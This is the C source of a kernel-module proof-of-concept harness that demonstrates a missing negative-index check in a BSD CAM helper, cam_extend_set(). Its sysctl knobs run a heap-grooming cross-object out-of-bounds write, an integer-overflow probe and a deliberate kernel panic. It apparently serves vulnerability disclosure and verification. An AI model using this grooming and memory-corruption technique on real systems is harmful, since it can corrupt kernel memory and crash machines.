/*
 * oob5662.ko -- prove cam_extend_set()'s missing lower-bound index
 * validation (sys/bus/cam/cam_extend.c:54-78) against the live,
 * unmodified kernel:
 *
 *   cam_extend_set() checks ONLY `index >= ea->nelem` (line 56).
 *   For ANY negative index it falls through to:
 *       if (ea->ps[index]) ...              line 70  OOB READ
 *       ea->ps[index] = value;              line 75  OOB WRITE
 *
 *   - on a grown array (nelem > 0) that is a fully controlled
 *     kernel-pointer write at ps + 8*index (any negative offset),
 *     landing in whatever object precedes the ps[] allocation.
 *   - on a fresh array (cam_extend_new -> M_ZERO -> ps == NULL,
 *     nelem == 0) that is a read/write at 0xfffffffffffffff8+..
 *     -> noncanonical -> fatal kernel trap.
 *
 *   Contrast: cam_extend_get() (line 84) DOES validate `index < 0`.
 *
 * Knobs (sysctl):
 *   debug.oob5662demo      run the non-fatal demo (readback + neighbor
 *                          cross-object corruption proof)
 *   debug.oob5662ovf       growth-size signed overflow
 *                          (index = 0x7ffffffb -> index+EXTEND_CHUNK
 *                          wraps negative -> kmalloc(huge) -> NULL ->
 *                          M_ZERO macro memsets NULL -> kernel trap)
 *   debug.oob5662nullcrash fresh-array negative index -> NULL-page
 *                          fault (FATAL: panics the guest)
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/types.h>

#include <bus/cam/cam_extend.h>

/*
 * Mirror of struct extend_array (sys/bus/cam/cam_extend.c:33-37).
 * Read-only use: observing nelem/ps of objects created by the real
 * cam_extend_new()/cam_extend_set() in this exact kernel build.
 */
struct ea_mirror { int nelem; void **ps; };

#define MARKER	((void *)0xcafe5662cafe5662UL)

static int	oob_demo(SYSCTL_HANDLER_ARGS);
static int	oob_ovf(SYSCTL_HANDLER_ARGS);
static int	oob_nullcrash(SYSCTL_HANDLER_ARGS);

SYSCTL_PROC(_debug, OID_AUTO, oob5662demo, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, oob_demo, "I", "run non-fatal negative-index demo");
SYSCTL_PROC(_debug, OID_AUTO, oob5662ovf, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, oob_ovf, "I", "growth-size overflow probe (may panic)");
SYSCTL_PROC(_debug, OID_AUTO, oob5662nullcrash, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, oob_nullcrash, "I", "fresh-array negative index (PANICS)");

/*
 * Demonstrate the negative-index OOB read/write through the production
 * cam_extend_set(), including a groomed adjacent-chunk cross-object
 * write.  Non-fatal.
 */
static int
oob_demo(SYSCTL_HANDLER_ARGS)
{
	struct extend_array *ea;
	struct ea_mirror *m;
	void *groom[8];
	void *before, *after, *neighbor;
	int i, writes = 0, refuses = 0, adj_ok = 0;

	int v = 0, error;
	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (v == 0)
		return (0);

	kprintf("[OOB5662] demo: cam_extend_set negative-index OOB\n");

	/*
	 * Groom: 8 zeroed 64B M_DEVBUF chunks; free c7 then c6 so the
	 * zone LIFO free-list hands out c6 first (neighbor) and c7
	 * second (ps[] from cam_extend_set's first growth), physically
	 * adjacent, both zeroed by us.
	 */
	for (i = 0; i < 8; i++) {
		groom[i] = kmalloc(64, M_DEVBUF, M_INTWAIT);
		memset(groom[i], 0, 64);
	}
	kfree(groom[7], M_DEVBUF);
	kfree(groom[6], M_DEVBUF);

	neighbor = kmalloc(64, M_DEVBUF, M_INTWAIT);
	memset(neighbor, 0, 64);

	ea = cam_extend_new();
	m = (struct ea_mirror *)ea;

	/* first growth: kmalloc(8*8=64) -> ps lands on the freed c7 */
	cam_extend_set(ea, 0, (void *)0x1111111100000000UL);
	kprintf("[OOB5662] after set(0): nelem=%d ps=%p neighbor=%p "
	    "(adjacent=%d)\n", m->nelem, m->ps, neighbor,
	    (char *)m->ps == (char *)neighbor + 64);

	/*
	 * Negative-index accesses through the production setter.
	 * ps[-1] aliases neighbor[7] when adjacent; either way the
	 * read/write through ea->ps[index] is out of bounds of the
	 * ps[] allocation itself.
	 */
	for (i = -1; i >= -4; i--) {
		before = m->ps[i];
		cam_extend_set(ea, i, MARKER);
		after = m->ps[i];
		if (after == MARKER) {
			writes++;
			kprintf("[OOB5662] index=%d: OOB WRITE confirmed: "
			    "ps[%d] = %p (was %p)\n", i, i, after, before);
		} else {
			refuses++;
			kprintf("[OOB5662] index=%d: setter took the "
			    "\"already has storage\" path -- its own OOB "
			    "READ returned %p\n", i, before);
		}
	}

	/* cross-object corruption of the adjacent chunk via ps[-1] */
	if ((char *)m->ps == (char *)neighbor + 64 &&
	    ((void **)neighbor)[7] == MARKER) {
		adj_ok = 1;
		kprintf("[OOB5662] CROSS-OBJECT WRITE: neighbor chunk's "
		    "last qword now %p via cam_extend_set(ea,-1,...)\n",
		    ((void **)neighbor)[7]);
	}

	/* release-path delegation is safe (get validates index<0) */
	cam_extend_release(ea, -1);
	kprintf("[OOB5662] release(ea,-1): no-op (delegates to get)\n");

	kprintf("[OOB5662] demo done: oob_writes=%d oob_read_refuses=%d "
	    "cross_object=%d\n", writes, refuses, adj_ok);
	return (0);
}

/*
 * Growth-size signed overflow: index = 0x7ffffffb makes
 * index + EXTEND_CHUNK wrap to a negative int (0x80000003), which the
 * kmalloc size math widens to ~2^64.  Predicted: kmem_slab_alloc fails
 * -> kmalloc returns NULL -> cam_extend_set never checks -> bcopy/memset
 * or ea->ps[index] touches NULL/near-NULL -> fatal trap.
 */
static int
oob_ovf(SYSCTL_HANDLER_ARGS)
{
	struct extend_array *ea;
	int v = 0, error;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (v == 0)
		return (0);

	kprintf("[OOB5662] ovf: set(index=0x7ffffffb) -- "
	    "index+EXTEND_CHUNK overflows int, kmalloc size ~2^64\n");
	ea = cam_extend_new();
	kprintf("[OOB5662] ovf: calling cam_extend_set...\n");
	cam_extend_set(ea, 0x7ffffffb, MARKER);
	kprintf("[OOB5662] ovf: returned without trapping (unexpected)\n");
	return (0);
}

/*
 * Fresh array: ps == NULL (cam_extend_new uses M_ZERO), nelem == 0, so
 * `index >= ea->nelem` is FALSE for any negative index and the setter
 * dereferences NULL + 8*index.  Noncanonical -> fatal trap.  PANICS.
 */
static int
oob_nullcrash(SYSCTL_HANDLER_ARGS)
{
	struct extend_array *ea;
	int v = 0, error;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (v == 0)
		return (0);

	kprintf("[OOB5662] nullcrash: fresh array, set(index=-5) -> "
	    "read at ps-40 = 0xffffffffffffffd8\n");
	ea = cam_extend_new();
	cam_extend_set(ea, -5, MARKER);
	kprintf("[OOB5662] nullcrash: returned without trapping "
	    "(unexpected)\n");
	return (0);
}

static int
oob5662_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("[OOB5662] loaded (cam_extend_set OOB harness)\n");
		return (0);
	case MOD_UNLOAD:
		kprintf("[OOB5662] unloaded\n");
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t oob5662_mod = { "oob5662", oob5662_modevent, 0 };
DECLARE_MODULE(oob5662, oob5662_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
